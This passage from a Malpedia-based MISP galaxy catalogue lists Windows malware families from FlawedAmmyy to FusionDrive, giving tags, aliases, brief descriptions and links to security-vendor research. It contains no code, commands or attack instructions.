https://malpedia.caad.fkie.fraunhofer.de/details/win.flash_develop
https://intezer.com/blog/research/stealth-wiper-israeli-infrastructure/

FlawedAmmyy

FlawedAmmyy is a well-known Remote Access Tool (RAT) attributed to criminal gang TA505 and used to get the control of target machines. The name reminds the strong link with the leaked source code of Ammyy Admin from which it took the main structure.

The tag is: *misp-galaxy:malpedia="FlawedAmmyy"*

FlawedAmmyy is also known as:

Table 3880. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.flawedammyy
https://secrary.com/ReversingMalware/AMMY_RAT_Downloader/
https://www.sans.org/reading-room/whitepapers/reverseengineeringmalware/unpacking-decrypting-flawedammyy-38930
https://blog.trendmicro.com/trendlabs-security-intelligence/ta505-at-it-again-variety-is-the-spice-of-servhelper-and-flawedammyy/
https://www.pwc.co.uk/cyber-security/assets/cyber-threats-2019-retrospect.pdf
https://www.proofpoint.com/us/threat-insight/post/leaked-source-code-ammyy-admin-turned-flawedammyy-rat
https://www.proofpoint.com/us/threat-insight/post/ta505-begins-summer-campaigns-new-pet-malware-downloader-andromut-uae-south

https://web.archive.org/web/20161223002016/https://www.symantec.com/connect/blogs/odinaff-new-trojan-used-high-level-financial-attacks
https://www.macnica.net/file/mpressioncss_2018-1h-report_mnc_rev3_nopw.pdf
https://ti.qianxin.com/uploads/2020/02/13/cb78386a082f465f259b37dae5df4884.pdf
https://www.fsec.or.kr/common/proc/fsec/bbs/163/fileDownLoad/2297.do
https://blog.intel471.com/2020/05/21/a-brief-history-of-ta505/
https://intel471.com/blog/a-brief-history-of-ta505
https://attack.mitre.org/software/S0381/
https://www.ptsecurity.com/ww-en/analytics/pt-esc-threat-intelligence/operation-ta505/
https://www.youtube.com/watch?v=N4f2e8Mygag
https://habr.com/ru/company/pt/blog/475328/
https://www.secureworks.com/research/threat-profiles/gold-tahoe
https://www.proofpoint.com/us/threat-insight/post/ta505-abusing-settingcontent-ms-within-pdf-files-distribute-flawedammyy-rat
https://www.npu.gov.ua/news/kiberzlochini/kiberpolicziya-vikrila-xakerske-ugrupovannya-u-rozpovsyudzhenni-virusu-shifruvalnika-ta-nanesenni-inozemnim-kompaniyam-piv-milyarda-dolariv-zbitkiv/
https://www.cert.ssi.gouv.fr/uploads/CERTFR-2020-CTI-009.pdf
https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2020CrowdStrikeGlobalThreatReport.pdf
https://threatrecon.nshc.net/2019/08/29/sectorj04-groups-increased-activity-in-2019/

FlawedGrace

According to ProofPoint, FlawedGrace is written in C++ and can be categorized as a Remote Access Trojan (RAT). It seems to have been developed in the second half of 2017 mainly.

FlawedGrace uses a series of commands: FlawedGrace also uses a series of commands, provided below for reference: * desktop_stat * destroy_os * target_download * target_module_load * target_module_load_external * target_module_unload * target_passwords * target_rdp * target_reboot * target_remove * target_script * target_servers * target_update * target_upload

The tag is: *misp-galaxy:malpedia="FlawedGrace"*

FlawedGrace is also known as:

- GraceWire

Table 3881. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.flawedgrace
https://blog.talosintelligence.com/breaking-the-silence-recent-truebot-activity/

https://web.archive.org/web/20221115161556/https://blog.codsec.com/posts/malware/gracewire_adventure/
https://www.pwc.co.uk/cyber-security/assets/cyber-threats-2019-retrospect.pdf
https://www.proofpoint.com/us/threat-insight/post/servhelper-and-flawedgrace-new-malware-introduced-ta505
https://www.msreverseengineering.com/blog/2021/3/2/an-exhaustively-analyzed-idb-for-flawedgrace
https://www.rewterz.com/rewterz-news/rewterz-threat-alert-widely-abused-msix-app-installer-disabled-by-microsoft-active-iocs
https://thedfirreport.com/2023/06/12/a-truly-graceful-wipe-out/
https://www.proofpoint.com/us/blog/threat-insight/whatta-ta-ta505-ramps-activity-delivers-new-flawedgrace-variant
https://ti.qianxin.com/uploads/2020/02/13/cb78386a082f465f259b37dae5df4884.pdf
https://research.nccgroup.com/2021/12/01/tracking-a-p2p-network-related-with-ta505/
https://www.telekom.com/en/blog/group/article/cybersecurity-ta505-s-box-of-chocolate-597672
https://blog.intel471.com/2020/05/21/a-brief-history-of-ta505/
https://intel471.com/blog/a-brief-history-of-ta505
https://twitter.com/MsftSecIntel/status/1273359829390655488
https://www.msreverseengineering.com/blog/2019/1/14/a-quick-solution-to-an-ugly-reverse-engineering-problem
https://blog.codsec.com/posts/malware/gracewire_adventure/
https://www.cert.ssi.gouv.fr/uploads/CERTFR-2020-CTI-006.pdf
https://www.crowdstrike.com/blog/how-falcon-complete-stopped-a-solarwinds-serv-u-exploit-campaign/
https://www.secureworks.com/research/threat-profiles/gold-tahoe
https://www.cert.ssi.gouv.fr/uploads/CERTFR-2020-CTI-009.pdf

Flesh Stealer

According to M4lcode, FleshStealer is a sophisticated, modular, and obfuscated .NET-based information-stealing malware designed for comprehensive data exfiltration from Windows systems. Its architecture is built for scale and stealth, utilizing multithreading to simultaneously run multiple data harvesting routines with minimal system disruption. The malware targets a wide range of applications and services, including browsers, messaging apps, email clients, VPNs, cryptocurrency wallets, FTP clients, game launchers, and local file storage.

The tag is: *misp-galaxy:malpedia="Flesh Stealer"*

Flesh Stealer is also known as:

Table 3882. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.flesh_stealer
https://blog.dexpose.io/flesh-stealer-a-report-on-multivector-data-theft/

FlexiSpy (Windows)

The tag is: *misp-galaxy:malpedia="FlexiSpy (Windows)"*

FlexiSpy (Windows) is also known as:

Table 3883. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.flexispy
https://www.randhome.io/blog/2017/04/23/lets-talk-about-flexispy/

FlokiBot

The tag is: *misp-galaxy:malpedia="FlokiBot"*

FlokiBot is also known as:

Table 3884. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.floki_bot
http://adelmas.com/blog/flokibot.php
https://www.arbornetworks.com/blog/asert/flokibot-flock-bots/
https://blog.malwarebytes.com/threat-analysis/2016/11/floki-bot-and-the-stealthy-dropper/
https://www.flashpoint-intel.com/blog/cybercrime/floki-bot-emerges-new-malware-kit/
http://blog.talosintel.com/2016/12/flokibot-collab.html#more
https://www.cylance.com/en_us/blog/threat-spotlight-flokibot-pos-malware.html
https://www.flashpoint-intel.com/flokibot-curious-case-brazilian-connector/

FlowCloud

The tag is: *misp-galaxy:malpedia="FlowCloud"*

FlowCloud is also known as:

Table 3885. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.flowcloud

https://static.sstic.org/videos2024/1080p/la_retro-ingnierie_de_code_malveillant_dans_la_cti-_analyse_de_levolution_dune_chaine_dinfection.mp4
https://www.proofpoint.com/us/blog/threat-insight/ta410-group-behind-lookback-attacks-against-us-utilities-sector-returns-new
https://www.ironnet.com/blog/china-cyber-attacks-the-current-threat-landscape
https://www.welivesecurity.com/2022/04/27/lookback-ta410-umbrella-cyberespionage-ttps-activity/
https://www.sstic.org/media/SSTIC2024/SSTIC-actes/la_retro-ingnierie_de_code_malveillant_dans_la_cti/SSTIC2024-Slides-la_retro-ingnierie_de_code_malveillant_dans_la_cti-_analyse_de_levolution_dune_chaine_dinfection-meslay.pdf
https://www.botconf.eu/wp-content/uploads/formidable/2/Botconf2022-19-FaouCoteCyr.pdf
https://www.proofpoint.com/us/blog/threat-insight/flowcloud-version-413-malware-analysis
https://nao-sec.org/2021/01/royal-road-redive.html
https://www.sstic.org/media/SSTIC2024/SSTIC-actes/la_retro-ingnierie_de_code_malveillant_dans_la_cti/SSTIC2024-Article-la_retro-ingnierie_de_code_malveillant_dans_la_cti-_analyse_de_levolution_dune_chaine_dinfection-meslay.pdf
https://www.dragos.com/blog/industry-news/new-ics-threat-activity-group-talonite/

FlowerShop

The tag is: *misp-galaxy:malpedia="FlowerShop"*

FlowerShop is also known as:

Table 3886. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.flowershop
https://storage.googleapis.com/chronicle-research/STUXSHOP%20Stuxnet%20Dials%20In%20.pdf
https://www.crysys.hu/publications/files/tedi/ukatemicrysys_territorialdispute.pdf

Floxif

The tag is: *misp-galaxy:malpedia="Floxif"*

Floxif is also known as:

Table 3887. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.floxif
https://www.mandiant.com/resources/pe-file-infecting-malware-ot
https://www.virusbulletin.com/virusbulletin/2012/12/compromised-library

Flusihoc

Available since 2015, Flusihoc is a versatile C++ malware capable of a variety of DDoS attacks as directed by a Command and Control server. Flusihoc communicates with its C2 via HTTP in plain text.

The tag is: *misp-galaxy:malpedia="Flusihoc"*

Flusihoc is also known as:

Table 3888. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.flusihoc
https://www.arbornetworks.com/blog/asert/the-flusihoc-dynasty-a-long-standing-ddos-botnet/

FlyingDutchman

The tag is: *misp-galaxy:malpedia="FlyingDutchman"*

FlyingDutchman is also known as:

Table 3889. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.flying_dutchman
https://www.ptsecurity.com/ww-en/analytics/calypso-apt-2019/

FlyStudio

The tag is: *misp-galaxy:malpedia="FlyStudio"*

FlyStudio is also known as:

Table 3890. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.flystudio
https://www.eset.com/int/about/newsroom/press-releases/announcements/press-threatsense-report-july-2009/

Fobber

The tag is: *misp-galaxy:malpedia="Fobber"*

Fobber is also known as:

Table 3891. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.fobber
http://www.govcert.admin.ch/downloads/whitepapers/govcertch_fobber_analysis.pdf
http://blog.wizche.ch/fobber/malware/analysis/2015/08/10/fobber-encryption.html
https://blog.malwarebytes.com/threat-analysis/2015/06/elusive-hanjuan-ek-caught-in-new-malvertising-campaign/
http://byte-atlas.blogspot.ch/2015/08/knowledge-fragment-unwrapping-fobber.html
https://www.govcert.admin.ch/blog/12/analysing-a-new-ebanking-trojan-called-fobber

Fog

According to SentinelOne, Fog Ransomware emerged in April of 2024 with operations targeting both Windows and Linux endpoints. Fog is a multi-pronged extortion operation, leveraging a TOR-based DLS to list victims and host data for those that refuse to comply with their ransom demands.

The tag is: *misp-galaxy:malpedia="Fog"*

Fog is also known as:

Table 3892. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.fog
https://insights.bridewell.com/hubfs/Cyber%20Threat%20Intelligence%20Report%202025.pdf
https://github.com/VenzoV/MalwareAnalysisReports/blob/main/Fog%20Ransomaware/Fog%20Ransomware.md
https://www.sentinelone.com/anthology/fog/
https://www.kroll.com/en/insights/publications/cyber/fog-ransomware-targets-higher-education

https://www.linkedin.com/posts/threatmon_fog-ransomware-attacks-the-energy-sector-ugcPost-7299885491531792384-eKTo
https://www.trendmicro.com/en_be/research/25/d/fog-ransomware-concealed-within-binary-loaders-linking-themselve.html
https://www.security.com/threat-intelligence/fog-ransomware-attack

FONIX

The tag is: *misp-galaxy:malpedia="FONIX"*

FONIX is also known as:

Table 3893. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.fonix
https://labs.sentinelone.com/the-fonix-raas-new-low-key-threat-with-unnecessary-complexities/
https://labs.bitdefender.com/2021/02/fonix-ransomware-decryptor/

ForestTiger

The tag is: *misp-galaxy:malpedia="ForestTiger"*

ForestTiger is also known as:

- ScoringMathTea

Table 3894. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.forest_tiger
https://securelist.com/the-lazarus-group-deathnote-campaign/109490/
https://www.virusbulletin.com/uploads/pdf/conference/vb2023/papers/Lazarus-campaigns-and-backdoors-in-2022-2023.pdf
https://www.microsoft.com/en-us/security/blog/2023/10/18/multiple-north-korean-threat-actors-exploiting-the-teamcity-cve-2023-42793-vulnerability/

Formbook

FormBook contains a unique crypter RunPE that has unique behavioral patterns subject to detection. It was initially called "Babushka Crypter" by Insidemalware.

The tag is: *misp-galaxy:malpedia="Formbook"*

Formbook is also known as:

- win.xloader

Table 3895. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook
https://www.fortinet.com/blog/threat-research/excel-document-delivers-malware-by-exploiting-cve-2017-11882
https://isc.sans.edu/diary/26806
http://cambuz.blogspot.de/2016/06/form-grabber-2016-cromeffoperathunderbi.html
https://www.ptsecurity.com/ww-en/analytics/pt-esc-threat-intelligence/steganoamor-campaign-ta558-mass-attacking-companies-and-public-institutions-all-around-the-world/
https://kienmanowar.wordpress.com/2023/07/06/quicknote-examining-formbook-campaign-via-phishing-emails/
https://link.medium.com/uaBiIXgUU8
https://thisissecurity.stormshield.com/2018/03/29/in-depth-formbook-malware-analysis-obfuscation-and-process-injection/
https://tehtris.com/en/blog/cracking-formbook-malware-blind-deobfuscation-and-quick-response-techniques/
https://insights.oem.avira.com/a-new-technique-to-analyze-formbook-malware-infections/
https://forensicitguy.github.io/xloader-formbook-velvetsweatshop-spreadsheet/
http://www.vkremez.com/2018/01/lets-learn-dissecting-formbook.html
http://blog.inquest.net/blog/2018/06/22/a-look-at-formbook-stealer/
https://www.fireeye.com/blog/threat-research/2017/10/formbook-malware-distribution-campaigns.html
https://www.peerlyst.com/posts/how-to-analyse-formbook-a-new-malware-as-a-service-sudhendu?trk=explore_page_resources_recent
https://threatresearch.ext.hp.com/javascript-malware-dispensing-rats-into-the-wild/
https://www.intrinsec.com/wp-content/uploads/2025/11/INTRINSEC-2025-Threat-Report-Trouble_in_the_air.pdf
https://www.cyren.com/blog/articles/example-analysis-of-multi-component-malware
https://www.fortinet.com/blog/threat-research/deep-analysis-formbook-new-variant-delivered-phishing-campaign-part-ii
https://www.logpoint.com/wp-content/uploads/2024/03/logpoint-etpr-a-comprehensive-overview-on-stealer-malware-families.pdf
https://www.trendmicro.com/en_us/research/21/i/formbook-adds-latest-office-365-0-day-vulnerability-cve-2021-404.html
https://elastic.github.io/security-research/intelligence/2022/01/01.formbook-adopts-cabless-approach/article/

https://securityintelligence.com/posts/roboski-global-recovery-automation/

https://drive.google.com/file/d/1oxINyIJfMtv_upJqRK9vLSchIBaU8wiU/view

https://www.botconf.eu/wp-content/uploads/2018/12/2018-R-Jullian-In-depth-Formbook-Malware-Analysis.pdf

https://www.netskope.com/blog/new-formbook-campaign-delivered-through-phishing-emails

https://blogs.blackberry.com/en/2022/05/dot-net-stubs-sowing-the-seeds-of-discord

https://medium.com/@shaddy43/layers-of-deception-analyzing-the-complex-stages-of-xloader-4-3-malware-evolution-2dcb550b98d9

https://logpoint.com/hubfs/blog_assets/logpoint-etpr-a-comprehensive-overview-on-stealer-malware-families-1.pdf?hsLang=en

https://www.slideshare.net/codeblue_jp/cb19-cyber-threat-landscape-in-japan-revealing-threat-in-the-shadow-by-chi-en-shen-ashley-oleg-bondarenko

https://blogs.blackberry.com/en/2021/09/threat-thursday-xloader-infostealer

https://yoroi.company/research/office-documents-may-the-xll-technique-change-the-threat-landscape-in-2022/

https://github.com/itaymigdal/malware-analysis-writeups/blob/main/FormBook/FormBook.md

https://www.fortinet.com/blog/threat-research/excel-document-delivers-multiple-malware-exploiting-cve-2017-11882-part-two

https://blog.checkpoint.com/security/march-2023s-most-wanted-malware-new-emotet-campaign-bypasses-microsoft-blocks-to-distribute-malicious-onenote-files/

https://0xmrmagnezi.github.io/malware%20analysis/FormBook/

https://usualsuspect.re/article/formbook-hiding-in-plain-sight

https://www.malwarebytes.com/blog/threat-intelligence/2022/20221121-threat-intel-report-final.pdf

https://blogs.quickheal.com/formbook-malware-returns-new-variant-uses-steganography-and-in-memory-loading-of-multiple-stages-to-steal-data/

https://blog.netlab.360.com/purecrypter

https://www.trendmicro.com/vinfo/us/security/news/cybercrime-and-digital-threats/ipfs-a-new-data-frontier-or-a-new-cybercriminal-hideout

https://any.run/cybersecurity-blog/xloader-formbook-encryption-analysis-and-malware-decryption/

https://www.zscaler.com/blogs/security-research/analysis-xloaders-c2-network-encryption

https://marcoramilli.com/2021/01/09/c2-traffic-patterns-personal-notes/

https://youtu.be/aQwnHIlGSBM

https://blog.cyble.com/2022/07/01/xloader-returns-with-new-infection-technique/

https://www.welivesecurity.com/wp-content/uploads/2020/07/ESET_Threat_Report_Q22020.pdf

https://umbrella.cisco.com/blog/navigating-cybersecurity-during-a-pandemic-latest-malware-and-threat-actors

https://securityintelligence.com/x-force/spam-trends-campaigns-senior-superlatives-2023/

https://www.proofpoint.com/us/threat-insight/post/new-whiteshadow-downloader-uses-microsoft-sql-retrieve-malware

https://www.peerlyst.com/posts/how-to-understand-formbook-a-new-malware-as-a-service-sudhendu?

https://www.connectwise.com/resources/formbook-remcos-rat

https://cert.gov.ua/article/955924

https://www.fortinet.com/blog/threat-research/deep-analysis-new-formbook-variant-delivered-phishing-campaign-part-I

https://www.lac.co.jp/lacwatch/report/20220307_002893.html

https://www.fortinet.com/blog/threat-research/infostealer-malware-formbook-spread-via-phishing-campaign-part-i

https://www.zscaler.com/blogs/security-research/technical-analysis-xloaders-code-obfuscation-version-43

https://news.sophos.com/en-us/2020/05/14/raticate/

https://blog.360totalsecurity.com/en/bayworld-event-cyber-attack-against-foreign-trade-industry/

https://sublime.security/blog/xloader-deep-dive-link-based-malware-delivery-via-sharepoint-impersonation/

https://www.ciphertechsolutions.com/roboski-global-recovery-automation/

https://www.hornetsecurity.com/en/threat-research/vba-purging-malspam-campaigns/

https://asec.ahnlab.com/en/32149/

https://blog.malwarebytes.com/threat-analysis/2021/05/revisiting-the-nsis-based-crypter/

https://threatresearch.ext.hp.com/wp-content/uploads/2021/03/HP_Bromium_Threat_Insights_Report_Q4_2020.pdf

https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/trojanized-onenote-document-leads-to-formbook-malware/

https://research.loginsoft.com/threat-research/from-innocence-to-malice-the-onenote-malware-campaign-uncovered/

https://www.arbornetworks.com/blog/asert/formidable-formbook-form-grabber/

https://blog.talosintelligence.com/2018/06/my-little-formbook.html

https://www.fortinet.com/blog/threat-research/infostealer-malware-formbook-spread-via-phishing-campaign

https://www.trellix.com/en-us/about/newsroom/stories/research/cyberattacks-targeting-ukraine-increase.html

https://tccontre.blogspot.com/2020/11/interesting-formbook-crypter.html

https://www.virusbulletin.com/virusbulletin/2019/01/vb2018-paper-inside-formbook-infostealer/

https://blog.talosintelligence.com/2019/07/sweed-agent-tesla.html

https://research.checkpoint.com/2023/following-the-scent-of-trickgate-6-year-old-packer-used-to-deploy-the-most-wanted-malware/
https://www.malware-traffic-analysis.net/2023/06/05/index.html
https://www.cyberbit.com/blog/endpoint-security/formbook-research-hints-large-data-theft-attack-brewing/
https://www.cyberbit.com/formbook-research-hints-large-data-theft-attack-brewing/

FormerFirstRAT

The tag is: *misp-galaxy:malpedia="FormerFirstRAT"*

FormerFirstRAT is also known as:

- ffrat

Table 3896. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.former_first_rat
https://researchcenter.paloaltonetworks.com/2015/04/unit-42-identifies-new-dragonok-backdoor-malware-deployed-against-japanese-targets/
https://unit42.paloaltonetworks.com/atoms/shallowtaurus/
https://threatvector.cylance.com/en_us/home/breaking-down-ff-rat-malware.html
https://www.ptsecurity.com/ww-en/analytics/pt-esc-threat-intelligence/space-pirates-tools-and-connections/
https://decoded.avast.io/luigicamastra/operation-dragon-castling-apt-group-targeting-betting-companies

FortuneCrypt

The tag is: *misp-galaxy:malpedia="FortuneCrypt"*

FortuneCrypt is also known as:

Table 3897. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.fortunecrypt
https://securelist.com/ransomware-two-pieces-of-good-news/93355/

FoxSocket

The tag is: *misp-galaxy:malpedia="FoxSocket"*

FoxSocket is also known as:

Table 3898. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.foxsocket
https://www.trendmicro.com/en_us/research/21/j/purplefox-adds-new-backdoor-that-uses-websockets.html

FPSpy

The tag is: *misp-galaxy:malpedia="FPSpy"*

FPSpy is also known as:

Table 3899. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.fpspy
https://unit42.paloaltonetworks.com/kimsuky-new-keylogger-backdoor-variant/

FRat

A RAT employing Node.js, Sails, and Socket.IO to collect information on a target

The tag is: *misp-galaxy:malpedia="FRat"*

FRat is also known as:

Table 3900. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.frat
https://github.com/jeFF0Falltrades/IoCs/blob/master/Broadbased/frat.md

Freenki Loader

The tag is: *misp-galaxy:malpedia="Freenki Loader"*

Freenki Loader is also known as:

- SHUTTERSPEED

Table 3901. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.freenki

https://www.trendmicro.com/en_us/research/20/l/who-is-the-threat-actor-behind-operation-earth-kitsune-.html
https://researchcenter.paloaltonetworks.com/2017/10/unit42-freemilk-highly-targeted-spear-phishing-campaign/
http://blog.talosintelligence.com/2018/01/korea-in-crosshairs.html
https://blog.talosintelligence.com/2018/01/korea-in-crosshairs.html

FriedEx

The tag is: *misp-galaxy:malpedia="FriedEx"*

FriedEx is also known as:

- BitPaymer
- DoppelPaymer
- IEncrypt

Table 3902. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.friedex
https://www.bleepingcomputer.com/news/security/new-evil-corp-ransomware-mimics-payloadbin-gang-to-evade-us-sanctions/
https://www.crowdstrike.com/blog/hades-ransomware-successor-to-indrik-spiders-wastedlocker/
https://www.pwc.co.uk/cyber-security/pdf/pwc-cyber-threats-2020-a-year-in-retrospect.pdf
https://www.pwc.co.uk/cyber-security/assets/cyber-threats-2019-retrospect.pdf
https://www.bleepingcomputer.com/news/security/doppelpaymer-ransomware-launches-site-to-post-victims-data/
https://www.mandiant.com/resources/unc2165-shifts-to-evade-sanctions
https://www.blueliv.com/cyber-security-and-cyber-threat-intelligence-blog-blueliv/research/everis-bitpaymer-ransomware-attack-analysis-dridex/
https://www.welivesecurity.com/2018/01/26/friedex-bitpaymer-ransomware-work-dridex-authors/
https://www.pwc.co.uk/issues/cyber-security-services/insights/what-is-behind-ransomware-attacks-increase.html
https://www.zdnet.com/article/the-malware-that-usually-installs-ransomware-and-you-need-to-remove-right-away/
https://sites.temple.edu/care/ci-rw-attacks/
https://www.crowdstrike.com/blog/double-trouble-ransomware-data-leak-extortion-part-1/
https://nakedsecurity.sophos.com/2018/09/11/the-rise-of-targeted-ransomware/
https://www.secureworks.com/research/threat-profiles/gold-drake

https://www.crowdstrike.com/blog/doppelpaymer-ransomware-and-dridex-2/
https://www.armor.com/resources/threat-intelligence/the-evolution-of-doppel-spider-from-bitpaymer-to-grief-ransomware/
https://blog.trendmicro.com/trendlabs-security-intelligence/ursnif-emotet-dridex-and-bitpaymer-gangs-linked-by-a-similar-loader/
http://www.secureworks.com/research/threat-profiles/gold-drake
https://www.crowdstrike.com/blog/big-game-hunting-the-evolution-of-indrik-spider-from-dridex-wire-fraud-to-bitpaymer-targeted-ransomware/
https://killingthebear.jorgetesta.tech/actors/evil-corp
https://symantec.broadcom.com/hubfs/The_Ransomware_Threat_September_2021.pdf
https://jsac.jpcert.or.jp/archive/2020/pdf/JSAC2020_1_tamada-yamazaki-nakatsuru_en.pdf
https://krebsonsecurity.com/2021/08/ransomware-gangs-and-the-name-game-distraction/
https://lka.polizei.nrw/presse/schlag-gegen-international-agierendes-netzwerk-von-cyber-kriminellen
https://blog.trendmicro.com/trendlabs-security-intelligence/account-with-admin-privileges-abused-to-install-bitpaymer-ransomware-via-psexec
https://www.cronup.com/post/de-ataque-con-malware-a-incidente-de-ransomware
https://www.cert.ssi.gouv.fr/uploads/CERTFR-2020-CTI-001.pdf
https://www.mcafee.com/blogs/other-blogs/mcafee-labs/csi-evidence-indicators-for-targeted-ransomware-attacks/
https://www.youtube.com/watch?v=LUxOcpIRxmg
https://assets.sentinelone.com/sentinellabs/sentinellabs_EvilCorp
https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2020CrowdStrikeGlobalThreatReport.pdf
https://www.cert.ssi.gouv.fr/uploads/CERTFR-2020-CTI-008.pdf
https://www.sentinelone.com/wp-content/uploads/2022/02/S1_-SentinelLabs_SanctionsBeDamned_final_02.pdf

FrostyGoop

The tag is: *misp-galaxy:malpedia="FrostyGoop"*

FrostyGoop is also known as:

- BUSTLEBERM

Table 3903. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.frostygoop
https://unit42.paloaltonetworks.com/frostygoop-malware-analysis/

https://www.dragos.com/blog/protect-against-frostygoop-ics-malware-targeting-operational-technology/

FROZENHILL

FROZENHILL is a launcher written in C++ that is configured to utilize existing files for execution and also infects newly attached storage volumes with additional malware.

The tag is: *misp-galaxy:malpedia="FROZENHILL"*

FROZENHILL is also known as:

Table 3904. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.frozenhill
https://cloud.google.com/blog/topics/threat-intelligence/infected-usb-steal-secrets/

Fs0ciety

The tag is: *misp-galaxy:malpedia="Fs0ciety"*

Fs0ciety is also known as:

Table 3905. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.fs0ciety
https://elastio.com/detectable-ransomware/fs0ciety-locker/

FudModule

FudModule is a user-mode DLL that gets the ability to read and write arbitrary kernel memory via the BYOVD technique. Its main goal is to turn off Windows system monitoring features, which is done by modifying kernel variables and removing kernel callbacks. Its actions may very likely affect various types of security products, e.g. EDRs, firewalls, antimalware and even digital forensics tools.

The tag is: *misp-galaxy:malpedia="FudModule"*

FudModule is also known as:

- LIGHTSHOW

Table 3906. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.fudmodule

https://www.microsoft.com/en-us/security/blog/2024/08/30/north-korean-threat-actor-citrine-sleet-exploiting-chromium-zero-day/
https://decoded.avast.io/janvojtesek/lazarus-and-the-fudmodule-rootkit-beyond-byovd-with-an-admin-to-kernel-zero-day/
https://www.welivesecurity.com/2022/09/30/amazon-themed-campaigns-lazarus-netherlands-belgium/
https://securityintelligence.com/posts/direct-kernel-object-manipulation-attacks-etw-providers/
https://asec.ahnlab.com/ko/40495/
https://www.gendigital.com/blog/news/innovation/lazarus-fudmodule-v3
https://web.archive.org/web/20240418121020/https://decoded.avast.io/luiginocamastra/from-byovd-to-a-0-day-unveiling-advanced-exploits-in-cyber-recruiting-scams/
https://www.mandiant.com/resources/blog/lightshift-and-lightshow
https://decoded.avast.io/luiginocamastra/from-byovd-to-a-0-day-unveiling-advanced-exploits-in-cyber-recruiting-scams/
https://www.virusbulletin.com/uploads/pdf/conference/vb2022/papers/VB2022-Lazarus-and-BYOVD-evil-to-the-Windows-core.pdf
https://asec.ahnlab.com/wp-content/uploads/2022/09/Analysis-Report-on-Lazarus-Groups-Rootkit-Attack-Using-BYOVD_Sep-22-2022.pdf
https://securityintelligence.com/posts/defensive-considerations-lazarus-fudmodule/

win.fujinama

Fujinama is a custom VB info stealer capable to execute custom commands and custom exfiltrations, keylogging and screenshot. It was involved in the compromise of Leonardo SpA, a major Italian aerospace and defense company.

The tag is: *misp-galaxy:malpedia="win.fujinama"*

win.fujinama is also known as:

Table 3907. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.fujinama
https://reaqta.com/2021/01/fujinama-analysis-leonardo-spa

FULLMETAL

The tag is: *misp-galaxy:malpedia="FULLMETAL"*

FULLMETAL is also known as:

Table 3908. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.fullmetal
https://www.kroll.com/en/publications/cyber/pdfast-but-luckily-not-so-furious

FunkSec

According to Check Point Research, a ransomware written in Rust that was likely developed using the aid of an LLM to produce code snippets.

The tag is: *misp-galaxy:malpedia="FunkSec"*

FunkSec is also known as:

Table 3909. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.funksec
https://research.checkpoint.com/2025/funksec-alleged-top-ransomware-group-powered-by-ai/

FunnySwitch

The tag is: *misp-galaxy:malpedia="FunnySwitch"*

FunnySwitch is also known as:

- RouterGod

Table 3910. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.funnyswitch
https://www.ptsecurity.com/ww-en/analytics/pt-esc-threat-intelligence/higaisa-or-winnti-apt-41-backdoors-old-and-new/#id5-2
https://go.recordedfuture.com/hubfs/reports/cta-2023-0808.pdf
https://www.trendmicro.com/content/dam/trendmicro/global/en/research/22/a/earth-lusca-employs-sophisticated-infrastructure-varied-tools-and-techniques/technical-brief-delving-deep-an-analysis-of-earth-lusca-operations.pdf
https://speakerdeck.com/aragorntseng/winnti-is-coming-evolution-after-prosecution-at-hitcon2021
https://www.ptsecurity.com/ww-en/analytics/pt-esc-threat-intelligence/higaisa-or-winnti-apt-41-backdoors-old-and-new/
https://i.blackhat.com/Asia-22/Thursday-Materials/AS-22-LeonSilvia-NextGenPlugXShadowPad.pdf

FunnyDream

The tag is: *misp-galaxy:malpedia="FunnyDream"*

FunnyDream is also known as:

Table 3911. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.funny_dream
https://www.bitdefender.com/files/News/CaseStudies/study/379/Bitdefender-Whitepaper-Chinese-APT.pdf
https://www.pwc.co.uk/cyber-security/pdf/pwc-cyber-threats-2020-a-year-in-retrospect.pdf
https://insight-jp.nttsecurity.com/post/102glv5/pandas-new-arsenal-part-3-smanager
https://go.recordedfuture.com/hubfs/reports/cta-2021-1208.pdf
https://nao-sec.org/2021/01/royal-road-redive.html

Furtim

The tag is: *misp-galaxy:malpedia="Furtim"*

Furtim is also known as:

Table 3912. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.furtim
https://sentinelone.com/blogs/sfg-furtims-parent/

FusionDrive

The tag is: *misp-galaxy:malpedia="FusionDrive"*

FusionDrive is also known as:

Table 3913. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.fusiondrive
https://www.youtube.com/watch?v=_qdCGgQlHJE

FuwuqiDrama

